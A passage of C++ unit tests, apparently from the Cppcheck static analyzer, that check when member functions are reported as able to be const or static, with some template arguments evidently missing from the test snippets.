{\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" 